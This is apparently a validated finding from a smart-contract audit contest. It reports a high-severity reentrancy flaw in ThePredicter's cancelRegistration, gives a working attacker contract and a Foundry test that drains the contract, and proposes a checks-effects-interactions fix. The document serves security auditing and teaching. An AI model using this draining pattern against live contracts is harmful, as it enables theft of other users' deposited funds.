Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Possible reentrancy in cancelWithdrawal() can cause losing all funds

Summary

Possible reentrancy in cancelWithdrawal() can cause losing all funds

Vulnerability Details

Function ThePredicter::cancelRegistration does not follow CEI so it's vulnerable for reentrancy attack

Proof of concept

Add this contract to ThePredicter.test.sol

contract ReentrancyAttacker{
ThePredicter thePredicter;
uint256 entranceFee;
constructor(ThePredicter _thePredicter){
thePredicter = _thePredicter;
entranceFee = thePredicter.entranceFee();
}
function attack() external payable{
thePredicter.register{value:entranceFee}();
thePredicter.cancelRegistration();
}
fallback() external payable{
if(address(thePredicter).balance >= entranceFee){
thePredicter.cancelRegistration();
}
}
receive() external payable{
if(address(thePredicter).balance >= entranceFee){
thePredicter.cancelRegistration();
}
}
}

Add this test to your tests

function test_cancelWithdrawalReentrancy() public{
ReentrancyAttacker attacker = new ReentrancyAttacker(thePredicter);
address attackerAddress = makeAddr("attacker");
address stranger2 = makeAddr("stranger2");
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: thePredicter.entranceFee()}();
vm.stopPrank();
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: thePredicter.entranceFee()}();
vm.stopPrank();
vm.deal(attackerAddress, 1 ether);
uint256 startingPredicterBalance = address(thePredicter).balance;
uint256 startingAttackerBalance = address(attacker).balance;
vm.prank(attackerAddress);
attacker.attack{value: thePredicter.entranceFee()}();
console.log("Starting predicter balance: ", startingPredicterBalance);
console.log("Starting attacker balance: ", startingAttackerBalance);
console.log("Ending predicter balance: ",address(thePredicter).balance);
console.log("Ending attacker balance: ", address(attacker).balance);
}

and run command forge test --mt test_cancelWithdrawalReentrancy -vvv

Logs should show that attacker increased his balance by emptying thePredicter contract.

Impact

High, all funds sent by other players can be stolen

Tools Used

Manual review

Recommendations

Change ThePredictor::cancelRegistration to follow CEI best practice

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.